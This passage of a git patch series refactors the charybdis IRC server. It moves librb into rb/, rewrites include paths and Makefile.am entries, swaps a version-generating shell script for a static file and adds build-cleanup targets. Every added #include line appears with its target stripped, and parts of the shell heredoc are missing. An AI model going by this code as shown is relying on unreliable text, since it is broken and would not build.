+++ b/modules/m_trace.c @@ -22,22 +22,22 @@ * USA */ -#include "stdinc.h" -#include "class.h" -#include "hook.h" -#include "client.h" -#include "hash.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "s_serv.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char trace_desc[] = "Provides the TRACE command to trace the route to a client or server"; diff --git a/modules/m_unreject.c b/modules/m_unreject.c index 9bed1b1ed..2384a6488 100644 --- a/modules/m_unreject.c +++ b/modules/m_unreject.c @@ -21,14 +21,14 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "s_conf.h" -#include "hostmask.h" -#include "reject.h" -#include "msg.h" -#include "modules.h" -#include "send.h" +#include +#include +#include +#include +#include +#include +#include +#include static const char unreject_desc[] = "Provides the UNREJECT command to remove an IP from the reject cache"; diff --git a/modules/m_user.c b/modules/m_user.c index d0360039d..f727b67c2 100644 --- a/modules/m_user.c +++ b/modules/m_user.c @@ -22,18 +22,18 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "s_user.h" -#include "send.h" -#include "s_conf.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "s_assert.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char user_desc[] = "Provides the USER command to register a new connection"; diff --git a/modules/m_userhost.c b/modules/m_userhost.c index 76e6cd17e..2c1e895e6 100644 --- a/modules/m_userhost.c +++ b/modules/m_userhost.c @@ -22,17 +22,17 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "ircd.h" -#include "numeric.h" -#include "s_serv.h" -#include "send.h" -#include "match.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "s_conf.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char userhost_desc[] = "Provides the USERHOST command to show a user's host"; diff --git a/modules/m_users.c b/modules/m_users.c index af9be292f..e866853dc 100644 --- a/modules/m_users.c +++ b/modules/m_users.c @@ -22,16 +22,16 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "ircd.h" -#include "numeric.h" -#include "s_serv.h" -#include "s_conf.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char users_desc[] = "Provides the USERS command to display connection statistics locally and globally"; diff --git a/modules/m_version.c b/modules/m_version.c index 02cc63696..3119c8a6b 100644 --- a/modules/m_version.c +++ b/modules/m_version.c @@ -22,17 +22,17 @@ * USA */ -#include -#include "client.h" -#include "ircd.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_serv.h" -#include "supported.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char version_desc[] = "Provides the VERSION command to display server version information"; diff --git a/modules/m_wallops.c b/modules/m_wallops.c index 0a951b0d6..9016b6c8a 100644 --- a/modules/m_wallops.c +++ b/modules/m_wallops.c @@ -22,19 +22,19 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "ircd.h" -#include "match.h" -#include "numeric.h" -#include "send.h" -#include "s_user.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "s_serv.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char wallops_desc[] = "Provides the WALLOPS and OPERWALL commands to message online operators"; diff --git a/modules/m_who.c b/modules/m_who.c index aa674582b..786de814a 100644 --- a/modules/m_who.c +++ b/modules/m_who.c @@ -21,24 +21,24 @@ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * USA */ -#include "stdinc.h" -#include "client.h" -#include "channel.h" -#include "hash.h" -#include "ircd.h" -#include "numeric.h" -#include "s_serv.h" -#include "send.h" -#include "match.h" -#include "s_conf.h" -#include "logger.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "packet.h" -#include "s_newconf.h" -#include "ratelimit.h" -#include "supported.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include #define FIELD_CHANNEL 0x0001 #define FIELD_HOP 0x0002 diff --git a/modules/m_whois.c b/modules/m_whois.c index a43b9109d..e95fc9c1c 100644 --- a/modules/m_whois.c +++ b/modules/m_whois.c @@ -22,26 +22,26 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "hash.h" -#include "channel.h" -#include "hash.h" -#include "ircd.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_serv.h" -#include "send.h" -#include "match.h" -#include "s_conf.h" -#include "logger.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "hook.h" -#include "s_newconf.h" -#include "ratelimit.h" -#include "s_assert.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char whois_desc[] = "Provides the WHOIS command to display information about a user"; diff --git a/modules/m_whowas.c b/modules/m_whowas.c index a5038cce8..c42788463 100644 --- a/modules/m_whowas.c +++ b/modules/m_whowas.c @@ -22,21 +22,21 @@ * USA */ -#include "stdinc.h" -#include "whowas.h" -#include "client.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "ircd_defs.h" -#include "numeric.h" -#include "s_serv.h" -#include "s_user.h" -#include "send.h" -#include "s_conf.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char whowas_desc[] = "Provides the WHOWAS command to display information on a disconnected user"; diff --git a/modules/m_xline.c b/modules/m_xline.c index 8f557b496..d58592e99 100644 --- a/modules/m_xline.c +++ b/modules/m_xline.c @@ -28,27 +28,27 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "send.h" -#include "channel.h" -#include "client.h" -#include "defaults.h" -#include "class.h" -#include "ircd.h" -#include "numeric.h" -#include "logger.h" -#include "s_serv.h" -#include "whowas.h" -#include "match.h" -#include "hash.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "reject.h" -#include "bandbi.h" -#include "operhash.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char xline_desc[] = "Provides management of GECOS bans via (UN)XLINE command"; diff --git a/modules/sno_routing.c b/modules/sno_routing.c index 241ec6f2a..6e58d8240 100644 --- a/modules/sno_routing.c +++ b/modules/sno_routing.c @@ -29,12 +29,12 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "hook.h" -#include "ircd.h" -#include "send.h" +#include +#include +#include +#include +#include +#include static void h_nn_server_eob(struct Client *); static void h_nn_client_exit(hook_data_client_exit *); diff --git a/librb/src/Makefile.am b/rb/Makefile.am similarity index 67% rename from librb/src/Makefile.am rename to rb/Makefile.am index cd13ff69e..899dd9f5a 100644 --- a/librb/src/Makefile.am +++ b/rb/Makefile.am @@ -1,16 +1,9 @@ - AUTOMAKE_OPTIONS = foreign -AM_CPPFLAGS = -I. -I../include @SSL_CFLAGS@ @GNUTLS_CFLAGS@ @MBEDTLS_CFLAGS@ +pkgconfigdir = $(libdir)/pkgconfig +#pkgconfig_DATA = librb.pc -BUILT_SOURCES = version.c - -version.c: version.c.SH ../CREDITS - $(SHELL) ./version.c.SH - $(CP) version.c version.c.last - -version.lo: version.c ../include/serno.h - $(LIBTOOL) --mode=compile $(CC) $(CFLAGS) $(INCLUDES) -c $< -o $@ +AM_CPPFLAGS = -I$(top_srcdir)/include @SSL_CFLAGS@ @GNUTLS_CFLAGS@ @MBEDTLS_CFLAGS@ librb_la_SOURCES = \ unix.c \ @@ -23,7 +16,7 @@ librb_la_SOURCES = \ gnutls.c \ nossl.c \ event.c \ - rb_lib.c \ + rb.c \ rb_memory.c \ linebuf.c \ tools.c \ diff --git a/librb/README.md b/rb/README.md similarity index 100% rename from librb/README.md rename to rb/README.md diff --git a/librb/src/arc4random.c b/rb/arc4random.c similarity index 99% rename from librb/src/arc4random.c rename to rb/arc4random.c index f6f53c76f..e2194d3dd 100644 --- a/librb/src/arc4random.c +++ b/rb/arc4random.c @@ -27,8 +27,7 @@ */ -#include -#include +#include #if !defined(HAVE_OPENSSL) && !defined(HAVE_GNUTLS) && !defined(HAVE_MBEDTLS) && !defined(HAVE_ARC4RANDOM) diff --git a/librb/src/balloc.c b/rb/balloc.c similarity index 99% rename from librb/src/balloc.c rename to rb/balloc.c index 2cbe4350f..2b5744014 100644 --- a/librb/src/balloc.c +++ b/rb/balloc.c @@ -55,8 +55,7 @@ * * */ -#include -#include +#include static void _rb_bh_fail(const char *reason, const char *file, int line) __attribute__((noreturn)); diff --git a/librb/src/commio.c b/rb/commio.c similarity index 99% rename from librb/src/commio.c rename to rb/commio.c index 252e6e9d2..a2f875389 100644 --- a/librb/src/commio.c +++ b/rb/commio.c @@ -23,11 +23,11 @@ * */ -#include -#include -#include -#include -#include +#include +#include +#include +#include + #ifdef HAVE_SYS_UIO_H #include #endif diff --git a/librb/src/crypt.c b/rb/crypt.c similarity index 99% rename from librb/src/crypt.c rename to rb/crypt.c index b2e372401..2fd66c2ef 100644 --- a/librb/src/crypt.c +++ b/rb/crypt.c @@ -27,8 +27,7 @@ * Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ -#include -#include +#include static char *rb_md5_crypt(const char *pw, const char *salt); static char *rb_des_crypt(const char *pw, const char *salt); diff --git a/librb/src/devpoll.c b/rb/devpoll.c similarity index 98% rename from librb/src/devpoll.c rename to rb/devpoll.c index 06d34ec04..79c1e04fc 100644 --- a/librb/src/devpoll.c +++ b/rb/devpoll.c @@ -24,10 +24,8 @@ * */ -#include -#include -#include -#include +#include +#include #if defined(HAVE_DEVPOLL) && (HAVE_SYS_DEVPOLL_H) #include diff --git a/librb/src/dictionary.c b/rb/dictionary.c similarity index 99% rename from librb/src/dictionary.c rename to rb/dictionary.c index f72ceca96..f509bdef8 100644 --- a/librb/src/dictionary.c +++ b/rb/dictionary.c @@ -22,9 +22,7 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include -#include -#include +#include struct rb_dictionary { diff --git a/librb/src/epoll.c b/rb/epoll.c similarity index 98% rename from librb/src/epoll.c rename to rb/epoll.c index 9af4bc674..0e1679916 100644 --- a/librb/src/epoll.c +++ b/rb/epoll.c @@ -27,17 +27,15 @@ #define _GNU_SOURCE 1 -#include -#include -#include -#include +#include +#include +#include + #if defined(HAVE_EPOLL_CTL) && (HAVE_SYS_EPOLL_H) #define USING_EPOLL -#include #include #if defined(HAVE_SIGNALFD) && (HAVE_SYS_SIGNALFD_H) && (USE_TIMER_CREATE) && (HAVE_SYS_UIO_H) -#include #include #include #define EPOLL_SCHED_EVENT 1 diff --git a/librb/src/event.c b/rb/event.c similarity index 98% rename from librb/src/event.c rename to rb/event.c index f678e3cce..c84e0bec4 100644 --- a/librb/src/event.c +++ b/rb/event.c @@ -41,10 +41,9 @@ * */ -#include -#include -#include -#include +#include +#include +#include #define EV_NAME_LEN 33 static char last_event_ran[EV_NAME_LEN]; diff --git a/librb/src/export-syms.txt b/rb/export-syms.txt similarity index 100% rename from librb/src/export-syms.txt rename to rb/export-syms.txt diff --git a/librb/src/gnutls.c b/rb/gnutls.c similarity index 99% rename from librb/src/gnutls.c rename to rb/gnutls.c index a352440a2..4a8ffb39a 100644 --- a/librb/src/gnutls.c +++ b/rb/gnutls.c @@ -22,11 +22,9 @@ * */ -#include -#include -#include -#include -#include +#include +#include +#include #ifdef HAVE_GNUTLS #include diff --git a/librb/src/helper.c b/rb/helper.c similarity index 98% rename from librb/src/helper.c rename to rb/helper.c index a8dabf3d9..8805d67dc 100644 --- a/librb/src/helper.c +++ b/rb/helper.c @@ -21,9 +21,8 @@ * */ -#include -#include -#include +#include +#include struct _rb_helper { diff --git a/librb/src/kqueue.c b/rb/kqueue.c similarity index 98% rename from librb/src/kqueue.c rename to rb/kqueue.c index 74f1bf345..166e6570e 100644 --- a/librb/src/kqueue.c +++ b/rb/kqueue.c @@ -24,10 +24,9 @@ * */ -#include -#include -#include -#include +#include +#include +#include #if defined(HAVE_SYS_EVENT_H) && (HAVE_KEVENT) diff --git a/librb/src/linebuf.c b/rb/linebuf.c similarity index 99% rename from librb/src/linebuf.c rename to rb/linebuf.c index 77fe9b7d8..c330bc39c 100644 --- a/librb/src/linebuf.c +++ b/rb/linebuf.c @@ -23,9 +23,8 @@ * */ -#include -#include -#include +#include +#include static rb_bh *rb_linebuf_heap; diff --git a/librb/src/mbedtls.c b/rb/mbedtls.c similarity index 99% rename from librb/src/mbedtls.c rename to rb/mbedtls.c index a8471fdcc..545250456 100644 --- a/librb/src/mbedtls.c +++ b/rb/mbedtls.c @@ -24,11 +24,9 @@ * */ -#include -#include -#include -#include -#include +#include +#include +#include #ifdef HAVE_MBEDTLS diff --git a/librb/src/mbedtls_embedded_data.h b/rb/mbedtls_embedded_data.h similarity index 100% rename from librb/src/mbedtls_embedded_data.h rename to rb/mbedtls_embedded_data.h diff --git a/librb/src/nossl.c b/rb/nossl.c similarity index 97% rename from librb/src/nossl.c rename to rb/nossl.c index 8d1ff67f1..5feee85a2 100644 --- a/librb/src/nossl.c +++ b/rb/nossl.c @@ -23,14 +23,12 @@ */ -#include -#include +#include + #if !defined(HAVE_OPENSSL) && !defined(HAVE_GNUTLS) && !defined(HAVE_MBEDTLS) - #include "arc4random.h" - -#include -#include +#include +#include int rb_setup_ssl_server(const char *cert, const char *keyfile, const char *dhfile, const char *cipher_list) diff --git a/librb/src/openssl.c b/rb/openssl.c similarity index 99% rename from librb/src/openssl.c rename to rb/openssl.c index 320de1460..da939adfb 100644 --- a/librb/src/openssl.c +++ b/rb/openssl.c @@ -22,13 +22,11 @@ * */ -#include -#include +#include #ifdef HAVE_OPENSSL - -#include -#include +#include +#include #include #include #include diff --git a/librb/src/patricia.c b/rb/patricia.c similarity index 99% rename from librb/src/patricia.c rename to rb/patricia.c index fe02c73c3..b5de94d52 100644 --- a/librb/src/patricia.c +++ b/rb/patricia.c @@ -19,8 +19,7 @@ * Network, Inc., and their contributors. * */ -#include -#include +#include /* Enable both of these to debug patricia.c * #define NOTYET 1 diff --git a/librb/src/poll.c b/rb/poll.c similarity index 98% rename from librb/src/poll.c rename to rb/poll.c index 0356776cf..c41379a9f 100644 --- a/librb/src/poll.c +++ b/rb/poll.c @@ -23,9 +23,8 @@ * USA * */ -#include -#include -#include +#include +#include #if defined(HAVE_POLL) && (HAVE_SYS_POLL_H) #include diff --git a/librb/src/ports.c b/rb/ports.c similarity index 98% rename from librb/src/ports.c rename to rb/ports.c index ba12e5a46..e9e2c8dbf 100644 --- a/librb/src/ports.c +++ b/rb/ports.c @@ -25,12 +25,11 @@ * */ -#include -#include -#include -#include -#if defined(HAVE_PORT_H) && (HAVE_PORT_CREATE) +#include +#include +#include +#if defined(HAVE_PORT_H) && (HAVE_PORT_CREATE) #include #define PE_LENGTH 128 diff --git a/librb/src/radixtree.c b/rb/radixtree.c similarity index 99% rename from librb/src/radixtree.c rename to rb/radixtree.c index abc153fae..4b73da5b8 100644 --- a/librb/src/radixtree.c +++ b/rb/radixtree.c @@ -32,9 +32,7 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include -#include -#include +#include rb_dlink_list radixtree_list = {NULL, NULL, 0}; diff --git a/librb/src/rawbuf.c b/rb/rawbuf.c similarity index 98% rename from librb/src/rawbuf.c rename to rb/rawbuf.c index 4e83270ba..f66235291 100644 --- a/librb/src/rawbuf.c +++ b/rb/rawbuf.c @@ -21,9 +21,8 @@ * USA * */ -#include -#include -#include +#include +#include #define RAWBUF_SIZE 1024 struct _rawbuf diff --git a/librb/src/rb_lib.c b/rb/rb.c similarity index 98% rename from librb/src/rb_lib.c rename to rb/rb.c index 3d5b7b7e8..a9e5e09fd 100644 --- a/librb/src/rb_lib.c +++ b/rb/rb.c @@ -22,16 +22,13 @@ * */ -#include - +#include +#include +#include #ifdef HAVE_EXECINFO_H #include #endif -#include -#include -#include - static log_cb *rb_log; static restart_cb *rb_restart; static die_cb *rb_die; @@ -188,7 +185,7 @@ rb_set_time(void) memcpy(&rb_time, &newtime, sizeof(struct timeval)); } -extern const char *librb_serno; +extern const char *rb_serno; const char * rb_lib_version(void) @@ -196,7 +193,7 @@ rb_lib_version(void) static char version_info[512]; char ssl_info[512]; rb_get_ssl_info(ssl_info, sizeof(ssl_info)); - snprintf(version_info, sizeof(version_info), "librb version: %s - %s", librb_serno, ssl_info); + snprintf(version_info, sizeof(version_info), "librb version: %s - %s", rb_serno, ssl_info); return version_info; } diff --git a/librb/src/rb_memory.c b/rb/rb_memory.c similarity index 96% rename from librb/src/rb_memory.c rename to rb/rb_memory.c index 32b2689a0..b1db79d94 100644 --- a/librb/src/rb_memory.c +++ b/rb/rb_memory.c @@ -22,8 +22,8 @@ * USA * */ -#include -#include + +#include void rb_outofmemory(void) diff --git a/librb/src/select.c b/rb/select.c similarity index 98% rename from librb/src/select.c rename to rb/select.c index 61d464a4e..d30ff2d8b 100644 --- a/librb/src/select.c +++ b/rb/select.c @@ -25,9 +25,8 @@ */ #define FD_SETSIZE 65535 -#include -#include -#include +#include +#include #if defined(HAVE_SELECT) || defined(_WIN32) diff --git a/librb/src/sigio.c b/rb/sigio.c similarity index 98% rename from librb/src/sigio.c rename to rb/sigio.c index 0c4846269..02c2add6b 100644 --- a/librb/src/sigio.c +++ b/rb/sigio.c @@ -29,11 +29,9 @@ #define _GNU_SOURCE 1 /* Needed for F_SETSIG */ #endif -#include -#include -#include -#include -#include /* Yes this needs to be before the ifdef */ +#include +#include +#include #if defined(HAVE_SYS_POLL_H) && (HAVE_POLL) && (F_SETSIG) #define USING_SIGIO @@ -42,7 +40,6 @@ #ifdef USING_SIGIO -#include #include #if defined(USE_TIMER_CREATE) diff --git a/librb/src/tools.c b/rb/tools.c similarity index 99% rename from librb/src/tools.c rename to rb/tools.c index 42dcb9e9e..33aa3ea9c 100644 --- a/librb/src/tools.c +++ b/rb/tools.c @@ -33,9 +33,7 @@ */ #define _GNU_SOURCE 1 -#include -#include -#include +#include /* diff --git a/librb/src/unix.c b/rb/unix.c similarity index 98% rename from librb/src/unix.c rename to rb/unix.c index 0fab90a9c..d0bbcbd9e 100644 --- a/librb/src/unix.c +++ b/rb/unix.c @@ -23,8 +23,7 @@ * */ -#include -#include +#include #ifndef _WIN32 diff --git a/librb/src/version.c.SH b/rb/version.c similarity index 63% rename from librb/src/version.c.SH rename to rb/version.c index 22cb63f21..411d21e3e 100644 --- a/librb/src/version.c.SH +++ b/rb/version.c @@ -1,22 +1,3 @@ -#!/bin/sh - - -spitshell=cat -package=librb - -echo "Extracting $package/src/version.c..." - -if test -r version.c.last -then - generation=`sed -n 's/^const char \*generation = \"\(.*\)\";/\1/p' < version.c.last` - if test ! "$generation" ; then generation=0; fi -else - generation=0 -fi - -generation=`expr $generation + 1` - -$spitshell >version.c <version.c < -#include "../include/serno.h" - -const char *librb_generation = "$generation"; -const char *librb_serno = SERNO; -const unsigned long int librb_datecode = DATECODE; - -const char *librb_infotext[] = +const char *rb_version = RB_VERSION; +const char *rb_datestr = RB_DATESTR; +const time_t rb_datecode = RB_DATECODE; +const char *rb_creation = RB_DATESTR; +const char *rb_serno = RB_DATESTR; +const char *rb_infotext[] = { - "$package --", + "librb --", "Based on the original code written by Jarkko Oikarinen", "Copyright 1988, 1989, 1990, 1991 University of Oulu, Computing Center", "Copyright (c) 1996-2001 Hybrid Development Team", @@ -62,15 +40,8 @@ const char *librb_infotext[] = "published by the Free Software Foundation; either version 2, or", "(at your option) any later version.", "", -!SUB!THIS! - -IFS=' -' -for i in `grep -v '^$Id' ../CREDITS |tr -d '"'` ; do -echo " \"$i\"," >> version.c -done -$spitshell >>version.c < -#include -#include +#include +#include #ifdef _WIN32 diff --git a/scripts/application.sh b/scripts/application.sh index 69b158aba..722c841c6 100755 --- a/scripts/application.sh +++ b/scripts/application.sh @@ -28,8 +28,8 @@ fi SERNO=`git log -1 --date=format:%Y%m%d --pretty=format:%cd-%h` DATECODE=`git log -1 --pretty=format:%ct` -echo "[charybdis] Generating include/serno.h for tip $MYTIP." -cat << _EOF_ > include/serno.h +echo "[charybdis] Generating include/ircd/serno.h for tip $MYTIP." +cat << _EOF_ > include/ircd/serno.h /* Generated automatically by makepackage. Any changes made here will be lost. */ #define SERNO "$SERNO" #define DATECODE ${DATECODE}UL diff --git a/ssld/Makefile.am b/ssld/Makefile.am index 72837a2c1..8c3109685 100644 --- a/ssld/Makefile.am +++ b/ssld/Makefile.am @@ -1,7 +1,7 @@ -pkglibexec_PROGRAMS = ssld +bin_PROGRAMS = ssld AM_CFLAGS=$(WARNFLAGS) -AM_CPPFLAGS = -I../include -I../librb/include +AM_CPPFLAGS = -I$(top_srcdir)/include ssld_SOURCES = ssld.c -ssld_LDADD = ../librb/src/librb.la @ZLIB_LD@ +ssld_LDADD = $(top_srcdir)/rb/librb.la @ZLIB_LD@ diff --git a/ssld/ssld.c b/ssld/ssld.c index d06a198b1..5d29671aa 100644 --- a/ssld/ssld.c +++ b/ssld/ssld.c @@ -20,7 +20,7 @@ */ -#include "stdinc.h" +#include #ifdef HAVE_LIBZ #include diff --git a/tools/Makefile.am b/tools/Makefile.am index 607bca31e..274de4e09 100644 --- a/tools/Makefile.am +++ b/tools/Makefile.am @@ -1,9 +1,9 @@ bin_PROGRAMS = charybdis-mkpasswd charybdis-mkfingerprint AM_CFLAGS=$(WARNFLAGS) -AM_CPPFLAGS = $(DEFAULT_INCLUDES) -I../librb/include -I. +AM_CPPFLAGS = $(DEFAULT_INCLUDES) -I$(top_srcdir)/include charybdis_mkpasswd_SOURCES = mkpasswd.c -charybdis_mkpasswd_LDADD = ../librb/src/librb.la +charybdis_mkpasswd_LDADD = $(top_srcdir)/rb/librb.la charybdis_mkfingerprint_SOURCES = mkfingerprint.c -charybdis_mkfingerprint_LDADD = ../librb/src/librb.la +charybdis_mkfingerprint_LDADD = $(top_srcdir)/rb/librb.la diff --git a/tools/mkfingerprint.c b/tools/mkfingerprint.c index 8f47c70f3..aaacc0445 100644 --- a/tools/mkfingerprint.c +++ b/tools/mkfingerprint.c @@ -17,12 +17,8 @@ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 * USA */ -#include -#include -#include -#include -#include "rb_lib.h" -#include "certfp.h" +#include +#include int main(int argc, char *argv[]) { diff --git a/tools/mkpasswd.c b/tools/mkpasswd.c index 57f73e4f1..41456f5f8 100644 --- a/tools/mkpasswd.c +++ b/tools/mkpasswd.c @@ -9,13 +9,7 @@ * /dev/random for salt generation added by * Aaron Sethman */ -#include -#include -#include -#include -#include -#include -#include "rb_lib.h" +#include #ifndef __MINGW32__ #include #endif diff --git a/wsockd/Makefile.am b/wsockd/Makefile.am index 706600ead..159d2d221 100644 --- a/wsockd/Makefile.am +++ b/wsockd/Makefile.am @@ -1,7 +1,7 @@ -pkglibexec_PROGRAMS = wsockd +bin_PROGRAMS = wsockd AM_CFLAGS=$(WARNFLAGS) -AM_CPPFLAGS = -I../include -I../librb/include +AM_CPPFLAGS = -I$(top_srcdir)/include wsockd_SOURCES = wsockd.c sha1.c -wsockd_LDADD = ../librb/src/librb.la +wsockd_LDADD = $(top_srcdir)/rb/librb.la diff --git a/wsockd/sha1.c b/wsockd/sha1.c index f3fce5318..1996e812d 100644 --- a/wsockd/sha1.c +++ b/wsockd/sha1.c @@ -11,7 +11,7 @@ * 34AA973C D4C4DAA4 F61EEB2B DBAD2731 6534016F */ -#include "stdinc.h" +#include #ifdef _WIN32 #include // for htonl() diff --git a/wsockd/wsockd.c b/wsockd/wsockd.c index ec9de8c01..2582cb57a 100644 --- a/wsockd/wsockd.c +++ b/wsockd/wsockd.c @@ -20,7 +20,7 @@ * USA */ -#include "stdinc.h" +#include #include "sha1.h" #define MAXPASSFD 4 From ac4dda1e673ad96774bcf40cca258ec8cf815a35 Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Sun, 3 Jul 2016 03:39:29 -0700 Subject: [PATCH 05/23] Towards a leak-free repository. Adds a Makefile target 'mrproper' though this only works on new versions of AC. --- Makefile.am | 34 ++++++++++++++++++++++++++-------- authd/Makefile.am | 4 ++++ doc/Makefile.am | 1 - modules/Makefile.am | 5 +++++ rb/Makefile.am | 6 ++++++ tools/Makefile.am | 4 ++++ 6 files changed, 45 insertions(+), 9 deletions(-) diff --git a/Makefile.am b/Makefile.am index 77a1fe306..b6ed9c783 100644 --- a/Makefile.am +++ b/Makefile.am @@ -24,11 +24,29 @@ logdir = @prefix@/var/log install-data-hook: test -d ${DESTDIR}${logdir} || mkdir -p ${DESTDIR}${logdir} -mrproper: - rm -f include/rb/config.h - rm -f include/rb/config.h.in - -clean-local: - rm -f ircd/ircd_lexer.c - rm -f ircd/ircd_parser.c - rm -f ircd/ircd_parser.h +mrproper-local: + rm -f aclocal.m4 + rm -rf autom4te.cache + rm -f compile + rm -f config.* + rm -f configure + rm -f depcomp + rm -f ltmain.sh + rm -f install-sh + rm -rf libltdl + rm -f libtool + rm -f missing + rm -f ylwrap + rm -f */Makefile + rm -f */Makefile.in + rm -rf */.deps + rm -f Makefile + rm -f Makefile.in + rm -f m4/argz.m4 + rm -f m4/libtool.m4 + rm -f m4/ltargz.m4 + rm -f m4/ltdl.m4 + rm -f m4/ltoptions.m4 + rm -f m4/ltsugar.m4 + rm -f m4/ltversion.m4 + rm -f m4/lt~obsolete.m4 diff --git a/authd/Makefile.am b/authd/Makefile.am index f291f5df8..cd66d96e2 100644 --- a/authd/Makefile.am +++ b/authd/Makefile.am @@ -18,3 +18,7 @@ authd_SOURCES = \ providers/opm.c authd_LDADD = $(top_srcdir)/rb/librb.la + +mrproper-local: + rm -rf providers/.deps + rm -f providers/.dirstamp diff --git a/doc/Makefile.am b/doc/Makefile.am index 21f60cf8b..d43b8a1f7 100644 --- a/doc/Makefile.am +++ b/doc/Makefile.am @@ -33,4 +33,3 @@ install: install-mkdirs -@if test -f $(DESTDIR)$(sysconfdir)/links.txt; then \ $(RM) $(DESTDIR)$(sysconfdir)/links.txt; \ fi - diff --git a/modules/Makefile.am b/modules/Makefile.am index d7e20ac7f..dd152e4cc 100644 --- a/modules/Makefile.am +++ b/modules/Makefile.am @@ -94,3 +94,8 @@ module_LTLIBRARIES = \ core/m_quit.la \ core/m_server.la \ core/m_squit.la + + +mrproper-local: + rm -rf core/.deps + rm -f core/.dirstamp diff --git a/rb/Makefile.am b/rb/Makefile.am index 899dd9f5a..e5b7b39a1 100644 --- a/rb/Makefile.am +++ b/rb/Makefile.am @@ -38,3 +38,9 @@ librb_la_SOURCES = \ librb_la_LDFLAGS = @SSL_LIBS@ @GNUTLS_LIBS@ @MBEDTLS_LIBS@ -avoid-version -no-undefined -export-symbols export-syms.txt librb_la_LIBADD = @SSL_LIBS@ @GNUTLS_LIBS@ @MBEDTLS_LIBS@ lib_LTLIBRARIES = librb.la + + +mrproper-local: + rm -f $(top_srcdir)/include/rb/config.h + rm -f $(top_srcdir)/include/rb/config.h.in + rm -f $(top_srcdir)/include/rb/stamp-h1 diff --git a/tools/Makefile.am b/tools/Makefile.am index 274de4e09..b93debdab 100644 --- a/tools/Makefile.am +++ b/tools/Makefile.am @@ -7,3 +7,7 @@ charybdis_mkpasswd_LDADD = $(top_srcdir)/rb/librb.la charybdis_mkfingerprint_SOURCES = mkfingerprint.c charybdis_mkfingerprint_LDADD = $(top_srcdir)/rb/librb.la + + +mrproper-local: + rm -f genssl From ffb2f6385027f502c40faa13aa08b6c88902f5de Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Fri, 15 Jul 2016 00:58:23 -0700 Subject: [PATCH 06/23] ircd: newconf: Fix const correctness. --- include/ircd/newconf.h | 2 +- ircd/newconf.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/include/ircd/newconf.h b/include/ircd/newconf.h index d6c73557c..2f18bfc71 100644 --- a/include/ircd/newconf.h +++ b/include/ircd/newconf.h @@ -72,7 +72,7 @@ void newconf_init(void); int add_conf_item(const char *topconf, const char *name, int type, void (*func) (void *)); int remove_conf_item(const char *topconf, const char *name); int add_top_conf(const char *name, int (*sfunc) (struct TopConf *), int (*efunc) (struct TopConf *), struct ConfEntry *items); -int remove_top_conf(char *name); +int remove_top_conf(const char *name); struct TopConf *find_top_conf(const char *name); struct ConfEntry *find_conf_item(const struct TopConf *top, const char *name); diff --git a/ircd/newconf.c b/ircd/newconf.c index cc1a3caed..bfc29ee90 100644 --- a/ircd/newconf.c +++ b/ircd/newconf.c @@ -152,7 +152,7 @@ find_conf_item(const struct TopConf *top, const char *name) } int -remove_top_conf(char *name) +remove_top_conf(const char *name) { struct TopConf *tc; rb_dlink_node *ptr; From 7cea4c784d63c4444f10e06d793a29e0d8cb8d18 Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Tue, 12 Jul 2016 22:22:05 -0700 Subject: [PATCH 07/23] ircd: Merge the defaults/ircd_defs stuff for now. ircd/rb: Move some lowish level macros down to rb. --- include/ircd/defaults.h | 162 +++++++++++++++++++++++++-------------- include/ircd/ircd_defs.h | 120 ----------------------------- include/ircd/logger.h | 2 +- include/ircd/s_conf.h | 1 - include/ircd/send.h | 1 - include/ircd/stdinc.h | 60 +-------------- include/ircd/tgchange.h | 2 +- include/rb/system.h | 42 ++++++++++ 